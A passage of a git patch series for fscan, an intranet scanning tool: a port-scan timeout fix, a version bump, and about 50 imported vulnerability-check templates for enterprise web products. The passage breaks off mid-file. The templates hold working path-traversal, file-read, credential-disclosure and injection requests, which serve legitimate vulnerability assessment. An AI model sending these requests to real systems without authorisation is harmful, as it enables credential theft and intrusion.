From 9d0010927e2b779b4dc43143a13552f5a9e670fe Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=80=B8=E8=88=AA?= Date: Thu, 16 Jul 2026 01:07:27 +0800 Subject: [PATCH 1/7] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E9=AB=98=E5=B9=B6?= =?UTF-8?q?=E5=8F=91=E4=B8=8B=E8=87=AA=E9=80=82=E5=BA=94=E8=B6=85=E6=97=B6?= =?UTF-8?q?=E8=BF=87=E4=BD=8E=E5=AF=BC=E8=87=B4=E5=BC=80=E6=94=BE=E7=AB=AF?= =?UTF-8?q?=E5=8F=A3=E6=BC=8F=E6=89=AB=20(#598)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix: 修复高并发下自适应超时过低导致开放端口漏扫 (#503) 扫描本机/低 RTT 目标时，AdaptiveTimeout 在 10 次采样后迅速收敛到 100ms 下限。高并发（600+ 线程）下 TCP 握手尾延迟可能超过 100ms，加上超时错误不会重试，导致开放端口被误判为关闭。 - AdaptiveTimeout 下限从 100ms 提升至 max(500ms, maxTimeout/5) - connectWithRetry 对超时错误用完整超时重试一次 - slidingWindowSchedule 任务丢弃时记录日志，便于排查漏扫 * refactor: 按 review 意见移除无条件超时重试，补充 minTO 下限测试 根据 #598 review 反馈： 1. 移除 connectWithRetry 中 timeout->full maxTO 无条件重试 - filtered/无响应端口占超时大头，盲目重试只烧时间 - #503 主场景靠 minTO 抬升已足够覆盖 2. 移除不再使用的 MaxTimeout() 方法和 port_scan_timeout_retry i18n 条目 3. AdaptiveTimeout 收敛测试补充 minTO 下限断言（3s->600ms） --- common/i18n/locales/en.yaml | 4 ++++ common/i18n/locales/zh.yaml | 4 ++++ core/adaptive_timeout.go | 9 ++++++++- core/port_scan.go | 16 +++++++++++++--- core/real_network_test.go | 10 +++++++--- 5 files changed, 36 insertions(+), 7 deletions(-) diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index 7e7d2ac..dfe4b96 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -429,6 +429,10 @@ port_open_http: other: "Port open {{.Arg1}} [http](HTTP probe)" port_scan_no_alive_subnet: other: "Subnet probe found no alive subnets, skipping port scan" +port_scan_task_dropped: + other: "[PortScan] task dropped: {{.Arg1}} ({{.Arg2}}), port may be missed" +port_scan_tasks_dropped_total: + other: "[PortScan] {{.Arg1}} tasks dropped total, these ports may be missed" network_rate_limited_pattern: other: "Rate limited" port_scan_debug_start: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 9e40f41..035e476 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -429,6 +429,10 @@ port_open_http: other: "端口开放 {{.Arg1}} [http](HTTP探测)" port_scan_no_alive_subnet: other: "网段预筛未发现存活子网，跳过端口扫描" +port_scan_task_dropped: + other: "[PortScan] 任务被丢弃: {{.Arg1}} ({{.Arg2}})，该端口可能被漏扫" +port_scan_tasks_dropped_total: + other: "[PortScan] 共有 {{.Arg1}} 个任务被丢弃，这些端口可能被漏扫" network_rate_limited_pattern: other: "发包受限" port_scan_debug_start: diff --git a/core/adaptive_timeout.go b/core/adaptive_timeout.go index f7d98c5..51ce5bd 100644 --- a/core/adaptive_timeout.go +++ b/core/adaptive_timeout.go @@ -25,10 +25,17 @@ type AdaptiveTimeout struct { // NewAdaptiveTimeout 创建自适应超时计算器 // maxTimeout: 用户配置的超时上限（即原始固定超时） func NewAdaptiveTimeout(maxTimeout time.Duration) *AdaptiveTimeout { + // minTO: 自适应超时下限，取 max(500ms, maxTimeout/5) + // 依据：高并发下 TCP 握手存在尾延迟（OS 调度抖动、backlog 溢出、端口竞争）， + // 过低的下限会导致开放端口被误判为关闭（issue #503） + minTO := maxTimeout / 5 + if minTO < 500*time.Millisecond { + minTO = 500 * time.Millisecond + } return &AdaptiveTimeout{ samples: make([]float64, 64), size: 64, - minTO: 100 * time.Millisecond, + minTO: minTO, maxTO: maxTimeout, warmup: 10, } diff --git a/core/port_scan.go b/core/port_scan.go index 9a95820..3a34b6a 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -290,6 +290,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout // slidingWindowSchedule 滑动窗口调度器 // ants.PoolWithFunc.Invoke 在池满时阻塞，天然提供反压，无需额外 semaphore func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.WaitGroup) { + var dropped int64 for { host, port, ok := iter.Next() if !ok { @@ -304,11 +305,17 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa } if err := pool.Invoke(task); err != nil { wg.Done() + dropped++ + common.LogError(i18n.Tr("port_scan_task_dropped", task.addr, err)) } } // 等待所有任务完成 wg.Wait() + + if dropped > 0 { + common.LogError(i18n.Tr("port_scan_tasks_dropped_total", dropped)) + } } // fmtPort 无分配的端口号格式化 @@ -327,7 +334,10 @@ func fmtPort(port int) string { return string(buf[i:]) } -// connectWithRetry 带重试的TCP连接 - 只对资源耗尽错误重试 +// connectWithRetry 带重试的TCP连接 +// - 资源耗尽错误：指数退避重试（maxRetries 次） +// - 其他错误（如 connection refused、timeout）：直接返回 +// timeout 是正常的扫描结果（防火墙 drop / filtered），不盲目重试 func connectWithRetry(ctx context.Context, session *common.ScanSession, addr string, timeout time.Duration, maxRetries int) (net.Conn, error) { var lastErr error @@ -340,9 +350,9 @@ func connectWithRetry(ctx context.Context, session *common.ScanSession, addr str lastErr = err - // 只对资源耗尽类错误重试，端口关闭直接返回 + // 只对资源耗尽类错误重试，端口关闭或超时直接返回 if !isResourceExhaustedError(err) { - return nil, err + return nil, lastErr } // 记录资源耗尽错误 diff --git a/core/real_network_test.go b/core/real_network_test.go index 74b396b..df95647 100644 --- a/core/real_network_test.go +++ b/core/real_network_test.go @@ -440,11 +440,15 @@ func TestReal_AdaptiveTimeout_Convergence(t *testing.T) { if converged >= 3*time.Second { t.Errorf("采样后 Timeout = %v, 应该 < 3s", converged) } - if converged < 100*time.Millisecond { - t.Logf("Timeout 收敛到 %v（localhost，正常）", converged) + + // minTO 下限断言：max(500ms, 3s/5) = 600ms + // localhost RTT 极低，收敛值应贴在地板上（issue #503） + minFloor := 600 * time.Millisecond + if converged < minFloor { + t.Errorf("收敛后 Timeout = %v, 不应低于 minTO 下限 %v", converged, minFloor) } - t.Logf("AdaptiveTimeout 收敛: 3s -> %v (%d 个样本)", converged, 20) + t.Logf("AdaptiveTimeout 收敛: 3s -> %v (%d 个样本), minTO=%v", converged, 20, minFloor) } // ============================================================================= From 61ae87d17123b80f27cf4a24986db140f819fc21 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Thu, 16 Jul 2026 01:08:05 +0800 Subject: [PATCH 2/7] chore: bump dev version to 2.2.1 --- README.md | 2 +- README_EN.md | 2 +- common/globals.go | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 64ad461..35f42aa 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ 内网综合扫描工具，一键自动化漏扫。 -**版本**: 2.2.0 +**版本**: 2.2.1 ## 功能特性 diff --git a/README_EN.md b/README_EN.md index cbb55aa..1865ff3 100644 --- a/README_EN.md +++ b/README_EN.md @@ -4,7 +4,7 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. -**Version**: 2.2.0 +**Version**: 2.2.1 ## Features diff --git a/common/globals.go b/common/globals.go index 0ed94e7..ffcdc8e 100644 --- a/common/globals.go +++ b/common/globals.go @@ -69,7 +69,7 @@ const ( // 版本信息，通过 ldflags 注入 var ( - version = "2.2.0" + version = "2.2.1" commit = "unknown" date = "unknown" ) From 621b2c2f247e15ea42035db39c031dda42ebde84 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Thu, 16 Jul 2026 01:45:09 +0800 Subject: [PATCH 3/7] feat: add curated internal network pocs --- webscan/pocs/THIRD_PARTY_NOTICES.md | 32 ++++++++ webscan/pocs/apache-druid-unauth.yaml | 19 +++++ webscan/pocs/docker-registry-api-unauth.yaml | 21 +++++ webscan/pocs/druid-monitor-unauth.yaml | 17 ++++ webscan/pocs/elasticsearch-unauth.yaml | 25 ++++++ .../pocs/finereport-directory-traversal.yaml | 16 ++++ webscan/pocs/gitlab-api-user-enum.yaml | 34 ++++++++ webscan/pocs/gitlab-public-repos.yaml | 21 +++++ webscan/pocs/h3c-hci-management.yaml | 18 +++++ webscan/pocs/h3c-information-leakage.yaml | 27 +++++++ .../pocs/h3csecparh-unauthorized-login.yaml | 24 ++++++ webscan/pocs/hadoop-disclosure.yaml | 19 +++++ .../jeecg-getdatasourcebypage-disclosure.yaml | 27 +++++++ webscan/pocs/jenkins-dashboard-unauth.yaml | 21 +++++ webscan/pocs/kibana-unauth.yaml | 19 +++++ ...ngdee-oa-apusic-server-file-traversal.yaml | 22 +++++ webscan/pocs/kubernetes-metrics.yaml | 21 +++++ webscan/pocs/kubernetes-pods-api.yaml | 33 ++++++++ webscan/pocs/kubernetes-unauth.yaml | 19 +++++ webscan/pocs/kubernetes-version.yaml | 19 +++++ webscan/pocs/ruijie-eg-password-leak.yaml | 21 +++++ .../pocs/ruijie-excu-shell-disclosure.yaml | 21 +++++ .../ruijie-nbr1300g-cli-password-leak.yaml | 23 ++++++ .../ruijie-smartweb-password-disclosure.yaml | 23 ++++++ ...yon-a6-downexcelbeansevlet-disclosure.yaml | 24 ++++++ webscan/pocs/seeyon-config-disclosure.yaml | 25 ++++++ ...yon-getsessionlist-session-disclosure.yaml | 25 ++++++ .../seeyon-initdataaccess-disclosure.yaml | 25 ++++++ webscan/pocs/seeyon-version.yaml | 25 ++++++ webscan/pocs/solr-admin-query.yaml | 26 ++++++ webscan/pocs/spark-api-unauth.yaml | 19 +++++ webscan/pocs/spark-webui-unauth.yaml | 21 +++++ .../pocs/tongda-contact-list-disclosure.yaml | 20 +++++ .../tongda-down-php-unauthorized-access.yaml | 23 ++++++ webscan/pocs/tongda-path-traversal.yaml | 23 ++++++ .../wanhu-evointerfaceservlet-unauth.yaml | 21 +++++ .../wanhu-ezoffice-text2html-fileread.yaml | 23 ++++++ .../pocs/wanhu-oa-downloadhttp-file-read.yaml | 19 +++++ .../wanhu-oa-downloadservlet-file-read.yaml | 19 +++++ .../weaver-eoffice-officeserver-fileread.yaml | 25 ++++++ webscan/pocs/yonyou-maportal-unauth.yaml | 19 +++++ webscan/pocs/yonyou-mobsm-detect.yaml | 23 ++++++ webscan/pocs/yonyou-nc-download-fileread.yaml | 26 ++++++ .../pocs/yonyou-nc-portalfile-fileread.yaml | 18 +++++ ...c-portalsesInittoolservice-disclosure.yaml | 30 +++++++ .../pocs/yonyou-nc-word-docx-fileread.yaml | 27 +++++++ webscan/pocs/yonyou-ncfindweb-fileread.yaml | 22 +++++ .../yonyou-u8-crm-getemaildata-fileread.yaml | 22 +++++ .../pocs/yonyou-u8-datacache-disclosure.yaml | 22 +++++ ...you-u9-getconnectionstring-disclosure.yaml | 80 +++++++++++++++++++ webscan/pocs/yonyou-yonbip-detect.yaml | 17 ++++ webscan/web_scan_test.go | 19 +++++ 52 files changed, 1230 insertions(+) create mode 100644 webscan/pocs/THIRD_PARTY_NOTICES.md create mode 100644 webscan/pocs/apache-druid-unauth.yaml create mode 100644 webscan/pocs/docker-registry-api-unauth.yaml create mode 100644 webscan/pocs/druid-monitor-unauth.yaml create mode 100644 webscan/pocs/elasticsearch-unauth.yaml create mode 100644 webscan/pocs/finereport-directory-traversal.yaml create mode 100644 webscan/pocs/gitlab-api-user-enum.yaml create mode 100644 webscan/pocs/gitlab-public-repos.yaml create mode 100644 webscan/pocs/h3c-hci-management.yaml create mode 100644 webscan/pocs/h3c-information-leakage.yaml create mode 100644 webscan/pocs/h3csecparh-unauthorized-login.yaml create mode 100644 webscan/pocs/hadoop-disclosure.yaml create mode 100644 webscan/pocs/jeecg-getdatasourcebypage-disclosure.yaml create mode 100644 webscan/pocs/jenkins-dashboard-unauth.yaml create mode 100644 webscan/pocs/kibana-unauth.yaml create mode 100644 webscan/pocs/kingdee-oa-apusic-server-file-traversal.yaml create mode 100644 webscan/pocs/kubernetes-metrics.yaml create mode 100644 webscan/pocs/kubernetes-pods-api.yaml create mode 100644 webscan/pocs/kubernetes-unauth.yaml create mode 100644 webscan/pocs/kubernetes-version.yaml create mode 100644 webscan/pocs/ruijie-eg-password-leak.yaml create mode 100644 webscan/pocs/ruijie-excu-shell-disclosure.yaml create mode 100644 webscan/pocs/ruijie-nbr1300g-cli-password-leak.yaml create mode 100644 webscan/pocs/ruijie-smartweb-password-disclosure.yaml create mode 100644 webscan/pocs/seeyon-a6-downexcelbeansevlet-disclosure.yaml create mode 100644 webscan/pocs/seeyon-config-disclosure.yaml create mode 100644 webscan/pocs/seeyon-getsessionlist-session-disclosure.yaml create mode 100644 webscan/pocs/seeyon-initdataaccess-disclosure.yaml create mode 100644 webscan/pocs/seeyon-version.yaml create mode 100644 webscan/pocs/solr-admin-query.yaml create mode 100644 webscan/pocs/spark-api-unauth.yaml create mode 100644 webscan/pocs/spark-webui-unauth.yaml create mode 100644 webscan/pocs/tongda-contact-list-disclosure.yaml create mode 100644 webscan/pocs/tongda-down-php-unauthorized-access.yaml create mode 100644 webscan/pocs/tongda-path-traversal.yaml create mode 100644 webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml create mode 100644 webscan/pocs/wanhu-ezoffice-text2html-fileread.yaml create mode 100644 webscan/pocs/wanhu-oa-downloadhttp-file-read.yaml create mode 100644 webscan/pocs/wanhu-oa-downloadservlet-file-read.yaml create mode 100644 webscan/pocs/weaver-eoffice-officeserver-fileread.yaml create mode 100644 webscan/pocs/yonyou-maportal-unauth.yaml create mode 100644 webscan/pocs/yonyou-mobsm-detect.yaml create mode 100644 webscan/pocs/yonyou-nc-download-fileread.yaml create mode 100644 webscan/pocs/yonyou-nc-portalfile-fileread.yaml create mode 100644 webscan/pocs/yonyou-nc-portalsesInittoolservice-disclosure.yaml create mode 100644 webscan/pocs/yonyou-nc-word-docx-fileread.yaml create mode 100644 webscan/pocs/yonyou-ncfindweb-fileread.yaml create mode 100644 webscan/pocs/yonyou-u8-crm-getemaildata-fileread.yaml create mode 100644 webscan/pocs/yonyou-u8-datacache-disclosure.yaml create mode 100644 webscan/pocs/yonyou-u9-getconnectionstring-disclosure.yaml create mode 100644 webscan/pocs/yonyou-yonbip-detect.yaml diff --git a/webscan/pocs/THIRD_PARTY_NOTICES.md b/webscan/pocs/THIRD_PARTY_NOTICES.md new file mode 100644 index 0000000..8163a9f --- /dev/null +++ b/webscan/pocs/THIRD_PARTY_NOTICES.md @@ -0,0 +1,32 @@ +# Third-party POC notices + +The 50 `.yaml` POC files added for the fscan 2.2.1 trial set were selected +from `zan8in/afrog` commit `9f792687ed156d63344016f8bf658946079fb494`: + +https://github.com/zan8in/afrog + +Only non-destructive detection, unauthorized-access, information-disclosure, +and path-read checks were selected. The original project is licensed under +the MIT License: + +MIT License + +Copyright (c) 2022 zan8in + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/webscan/pocs/apache-druid-unauth.yaml b/webscan/pocs/apache-druid-unauth.yaml new file mode 100644 index 0000000..8a8dfea --- /dev/null +++ b/webscan/pocs/apache-druid-unauth.yaml @@ -0,0 +1,19 @@ +id: apache-druid-unauth + +info: + name: Apache Druid Unauth + author: zan8in + severity: high + verified: true + description: |- + app="Apache Druid" + tags: druid,unauth + created: 2024/01/07 + +rules: + r0: + request: + method: GET + path: /unified-console.html + expression: response.status == 200 && response.body.ibcontains(b'Apache Druid') +expression: r0() diff --git a/webscan/pocs/docker-registry-api-unauth.yaml b/webscan/pocs/docker-registry-api-unauth.yaml new file mode 100644 index 0000000..bb5fca0 --- /dev/null +++ b/webscan/pocs/docker-registry-api-unauth.yaml @@ -0,0 +1,21 @@ +id: docker-registry-api-unauth + +info: + name: docker registry api 未经批准 + author: p0wd3r + severity: critical + tags: docker,unauth + created: 2024/01/12 + +rules: + r0: + request: + method: GET + path: /v2/ + expression: response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0") + r1: + request: + method: GET + path: /v2/_catalog + expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories") +expression: r0() && r1()+ diff --git a/webscan/pocs/druid-monitor-unauth.yaml b/webscan/pocs/druid-monitor-unauth.yaml new file mode 100644 index 0000000..b7a7810 --- /dev/null +++ b/webscan/pocs/druid-monitor-unauth.yaml @@ -0,0 +1,17 @@ +id: druid-monitor-unauth + +info: + name: Druid Monitor Unauth + author: met7or + severity: high + verified: true + tags: druid,monitor,unauth + created: 2023/07/07 + +rules: + r0: + request: + method: GET + path: /druid/index.html + expression: response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers") +expression: r0() diff --git a/webscan/pocs/elasticsearch-unauth.yaml b/webscan/pocs/elasticsearch-unauth.yaml new file mode 100644 index 0000000..b8953a4 --- /dev/null +++ b/webscan/pocs/elasticsearch-unauth.yaml @@ -0,0 +1,25 @@ +id: elasticsearch-unauth + +info: + name: ElasticSearch Information Disclosure + author: p0wd3r + severity: high + verified: true + description: |- + /_nodes #查看节点数据 + /_cat/indices #索引 + _cat/indices + /_plugin/head + /_nodes/ + /_status + /_search?pretty + tags: elasticsearch,unauth + created: 2023/07/07 + +rules: + r0: + request: + method: GET + path: /_cat + expression: response.status == 200 && response.body.bcontains(b"/_cat/master") +expression: r0() diff --git a/webscan/pocs/finereport-directory-traversal.yaml b/webscan/pocs/finereport-directory-traversal.yaml new file mode 100644 index 0000000..847c5ae --- /dev/null +++ b/webscan/pocs/finereport-directory-traversal.yaml @@ -0,0 +1,16 @@ +id: finereport-directory-traversal + +info: + name: Finereport Directory Traversal + author: l1nk3r + severity: high + tags: finereport,directory-traversal + created: 2023/11/14 + +rules: + r0: + request: + method: GET + path: /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml + expression: response.status == 200 && response.body.bcontains(b"") && response.body.bcontains(b"") +expression: r0() diff --git a/webscan/pocs/gitlab-api-user-enum.yaml b/webscan/pocs/gitlab-api-user-enum.yaml new file mode 100644 index 0000000..f1916c8 --- /dev/null +++ b/webscan/pocs/gitlab-api-user-enum.yaml @@ -0,0 +1,34 @@ +id: gitlab-api-user-enum + +info: + name: GitLab - User Information Disclosure Via Open API + author: Suman_Kar + severity: medium + reference: + - https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40158 + tags: gitlab,api,enum,user + created: 2023/07/20 + +rules: + r0: + brute: + mode: sniper + commit: winner + continue: false + uid: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - "2" + request: + method: GET + path: /api/v4/users/{{uid}} + expression: response.status == 200 && response.body.bcontains(b'"id":') && response.body.bcontains(b'"username":') && response.body.bcontains(b'"name":') +expression: r0() diff --git a/webscan/pocs/gitlab-public-repos.yaml b/webscan/pocs/gitlab-public-repos.yaml new file mode 100644 index 0000000..71fe026 --- /dev/null +++ b/webscan/pocs/gitlab-public-repos.yaml @@ -0,0 +1,21 @@ +id: gitlab-public-repos + +info: + name: GitLab public repositories + author: ldionmarcil + severity: info + reference: + - https://twitter.com/ldionmarcil/status/1370052344562470922 + - https://github.com/ldionmarcil/gitlab-unauth-parser + tags: gitlab,public,repos + created: 2023/07/20 + +rules: + r0: + request: + method: GET + path: /api/v4/projects + headers: + Cookie: _gitlab_session= + expression: response.body.bcontains(b'name_with_namespace') +expression: r0() diff --git a/webscan/pocs/h3c-hci-management.yaml b/webscan/pocs/h3c-hci-management.yaml new file mode 100644 index 0000000..b8046a4 --- /dev/null +++ b/webscan/pocs/h3c-hci-management.yaml @@ -0,0 +1,18 @@ +id: h3c-hci-management + +info: + name: H3C 超融合管理平台 + author: zan8in + severity: info + verified: true + tags: h3c,hci-management,panel + created: 2023/07/21 + +rules: + r0: + request: + method: GET + path: /uis/login + follow_redirects: true + expression: response.status == 200 && response.body.bcontains(b"'/uis/spring_check?'") +expression: r0() diff --git a/webscan/pocs/h3c-information-leakage.yaml b/webscan/pocs/h3c-information-leakage.yaml new file mode 100644 index 0000000..a2ef374 --- /dev/null +++ b/webscan/pocs/h3c-information-leakage.yaml @@ -0,0 +1,27 @@ +id: h3c-information-leakage + +info: + name: H3C设备敏感信息泄露 + author: ifofor + severity: high + description: |- + 未授权读取密码文件，可获取明文密码（用户名admin，密码：第二个数据包vtypasswd的值） + fofa: "userLogin.asp" && server="H3C-Miniware-Webs" + tags: h3c,information-leakage + created: 2023/07/25 + +rules: + r0: + request: + method: GET + path: /userLogin.asp + expression: response.status == 200 && response.body.bcontains(b'H3C Corporation') + output: + search: '"(?P(?<=)[A-Z^](.+)[0-9A-Z])".bsubmatch(response.body)' + name: search["title2"] + r1: + request: + method: GET + path: /userLogin.asp/../actionpolicy_status/../{{name}}.cfg + expression: response.status == 200 && response.body.bcontains(b'vtypasswd=') +expression: r0() && r1() diff --git a/webscan/pocs/h3csecparh-unauthorized-login.yaml b/webscan/pocs/h3csecparh-unauthorized-login.yaml new file mode 100644 index 0000000..e1afef8 --- /dev/null +++ b/webscan/pocs/h3csecparh-unauthorized-login.yaml @@ -0,0 +1,24 @@ +id: h3csecparh-unauthorized-login + +info: + name: H3C Server - Unauthenticated Access + author: Print1n(http://print1n.top) + severity: high + description: |- + H3C server was able to be accessed with no authentication requirements in place. + shodan: http.html:"H3C-SecPath-运维审计系统" + fofa: app="H3C-SecPath-运维审计系统" && body="2018" + tags: h3c,default-login,unauth + created: 2023/06/17 + +rules: + r0: + request: + method: GET + path: /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin + expression: | + response.status == 200 && + response.body.bcontains(b'错误的id') && + response.body.bcontains(b'审计管理员') && + response.body.bcontains(b'admin') +expression: r0() diff --git a/webscan/pocs/hadoop-disclosure.yaml b/webscan/pocs/hadoop-disclosure.yaml new file mode 100644 index 0000000..9af6acd --- /dev/null +++ b/webscan/pocs/hadoop-disclosure.yaml @@ -0,0 +1,19 @@ +id: hadoop-disclosure + +info: + name: Apache Hadoop Disclosure + author: zan8in + severity: low + verified: true + description: |- + Apache Hadoop 存在目录浏览漏洞，攻击者可以通过访问/dfshealth.html来获取Hadoop集群的配置信息。 + tags: hadoop,disclosure + created: 2023/10/29 + +rules: + r0: + request: + method: GET + path: /dfshealth.html + expression: response.status == 200 && response.body.bcontains(b'class="navbar-brand"') && response.body.bcontains(b'dfshealth.js') +expression: r0() diff --git a/webscan/pocs/jeecg-getdatasourcebypage-disclosure.yaml b/webscan/pocs/jeecg-getdatasourcebypage-disclosure.yaml new file mode 100644 index 0000000..491f956 --- /dev/null +++ b/webscan/pocs/jeecg-getdatasourcebypage-disclosure.yaml @@ -0,0 +1,27 @@ +id: jeecg-getdatasourcebypage-disclosure + +info: + name: JeecgBoot - GetDataSourceByPage Disclosure + author: zan8in + severity: high + verified: true + description: | + fofa: app="jeecg-boot" + tags: jeecgboot,disclosure + created: 2026/01/08 + +rules: + r0: + request: + method: GET + path: /jmreport/getDataSourceByPage + expression: | + response.status == 200 && + "Content-Type" in response.headers && + response.headers['Content-Type'].icontains('application/json') && + response.body.ibcontains(b'"success":true') && + response.body.ibcontains(b'"dbUsername":') && + response.body.ibcontains(b'"dbPassword":') && + response.body.ibcontains(b'"dbType":') && + response.body.ibcontains(b'"dbUrl":') +expression: r0() diff --git a/webscan/pocs/jenkins-dashboard-unauth.yaml b/webscan/pocs/jenkins-dashboard-unauth.yaml new file mode 100644 index 0000000..bdaaef9 --- /dev/null +++ b/webscan/pocs/jenkins-dashboard-unauth.yaml @@ -0,0 +1,21 @@ +id: jenkins-dashboard-unauth + +info: + name: Jenkins Dashboard 未授权访问 + author: zan8in + severity: high + verified: true + description: |- + Jenkins Dashboard 未授权访问 + fofa: app="Jenkins" + tags: jenkins,unauth + created: 2024/01/07 + +rules: + r0: + request: + method: GET + path: / + follow_redirects: true + expression: response.status == 200 && response.body.bcontains(b'Dashboard') && response.body.bcontains(b'Jenkins') +expression: r0() diff --git a/webscan/pocs/kibana-unauth.yaml b/webscan/pocs/kibana-unauth.yaml new file mode 100644 index 0000000..a02444b --- /dev/null +++ b/webscan/pocs/kibana-unauth.yaml @@ -0,0 +1,19 @@ +id: kibana-unauth + +info: + name: Kibana Unauth + author: Isaac + severity: high + verified: true + description: |- + Kibana Unauth + tags: kibana,unauth + created: 2023/07/07 + +rules: + r0: + request: + method: GET + path: /app/kibana + expression: response.status == 200 && response.body.bcontains(b".kibanaWelcomeView") +expression: r0() diff --git a/webscan/pocs/kingdee-oa-apusic-server-file-traversal.yaml b/webscan/pocs/kingdee-oa-apusic-server-file-traversal.yaml new file mode 100644 index 0000000..2c32a36 --- /dev/null +++ b/webscan/pocs/kingdee-oa-apusic-server-file-traversal.yaml @@ -0,0 +1,22 @@ +id: kingdee-oa-apusic-server-file-traversal + +info: + name: 金蝶OA Apusic应用服务器(中间件) server_file 目录遍历 + author: zan8in + severity: low + verified: true + description: |- + 金蝶Apusic应用服务器是国内第一个通过J2EE测试认证的应用服务器，全球第四家获得JavaEE 5.0认证授权的产品，完全实现J2EE等企业计算相关的工业规范及标准代码简洁优化，具备了数据持久性、事务完整性、消息传输的可靠性、集群功能的高可用性、以及跨平台的支持等特点。金蝶Apusic应用服务器 server_file处存在目录遍历漏洞，攻击者可以从其中获取网站路径等敏感信息进一步攻击。 + fofa: app="Apusic-公司产品" && title=="欢迎使用Apusic应用服务器" + reference: + - https://mp.weixin.qq.com/s/ZTZ0XPOtSZn0Mg_ZSA1L6Q + tags: kingdee,directory-traversal + created: 2023/10/13 + +rules: + r0: + request: + method: GET + path: /admin/protected/selector/server_file/files?folder=/ + expression: response.status==200 && response.body.bcontains(b'"total":') && response.body.bcontains(b'"rows":') && response.body.bcontains(b'"name":') && response.body.bcontains(b'"path":') && response.body.bcontains(b'"folder":') +expression: r0() diff --git a/webscan/pocs/kubernetes-metrics.yaml b/webscan/pocs/kubernetes-metrics.yaml new file mode 100644 index 0000000..7eb6a59 --- /dev/null +++ b/webscan/pocs/kubernetes-metrics.yaml @@ -0,0 +1,21 @@ +id: kubernetes-metrics + +info: + name: Detect Kubernetes Exposed Metrics + author: pussycat0x + severity: low + verified: false + description: |- + Information Disclosure of Garbage Collection + reference: + - https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/#metrics-in-kubernetes + tags: kubernetes,metrics,detect + created: 2024/01/05 + +rules: + r0: + request: + method: GET + path: /metrics + expression: response.status == 200 && response.body.bcontains(b"namespace") && response.body.bcontains(b"HELP") && response.body.bcontains(b"TYPE") && response.body.bcontains(b"kube") +expression: r0() diff --git a/webscan/pocs/kubernetes-pods-api.yaml b/webscan/pocs/kubernetes-pods-api.yaml new file mode 100644 index 0000000..ec6e1c6 --- /dev/null +++ b/webscan/pocs/kubernetes-pods-api.yaml @@ -0,0 +1,33 @@ +id: kubernetes-pods-api + +info: + name: Kubernetes Pods - API Discovery & Remote Code Execution + author: ilovebinbash,geeknik,0xtavian + severity: critical + description: |- + A Kubernetes Pods API was discovered. When the service port is available, unauthenticated users can execute commands inside the container. + reference: + - https://github.com/officialhocc/Kubernetes-Kubelet-RCE + - https://blog.binaryedge.io/2018/12/06/kubernetes-being-hijacked-worldwide/ + tags: k8,unauth,kubernetes,devops,misconfig + created: 2025/07/14 + +rules: + r0: + brute: + mode: clusterbomb + commit: winner + continue: false + p: + - /pods + - /api/v1/pods + - /runningpods/ + request: + method: GET + path: "{{p}}" + expression: | + response.status == 200 && + response.body.bcontains(b'"apiVersion":') && + response.body.bcontains(b'"items":') && + response.body.bcontains(b'"kind":') +expression: r0() diff --git a/webscan/pocs/kubernetes-unauth.yaml b/webscan/pocs/kubernetes-unauth.yaml new file mode 100644 index 0000000..6f2f2cb --- /dev/null +++ b/webscan/pocs/kubernetes-unauth.yaml @@ -0,0 +1,19 @@ +id: kubernetes-unauth + +info: + name: kubernetes Unauth + author: mumu0215 + severity: high + verified: false + description: |- + kubernetes Unauth + tags: kubernetes,unauth + created: 2023/07/07 + +rules: + r0: + request: + method: GET + path: /api/v1/nodes + expression: 'response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"kubeletVersion\": \"v") && response.body.bcontains(b"\"containerRuntimeVersion\"")' +expression: r0() diff --git a/webscan/pocs/kubernetes-version.yaml b/webscan/pocs/kubernetes-version.yaml new file mode 100644 index 0000000..9eeff5b --- /dev/null +++ b/webscan/pocs/kubernetes-version.yaml @@ 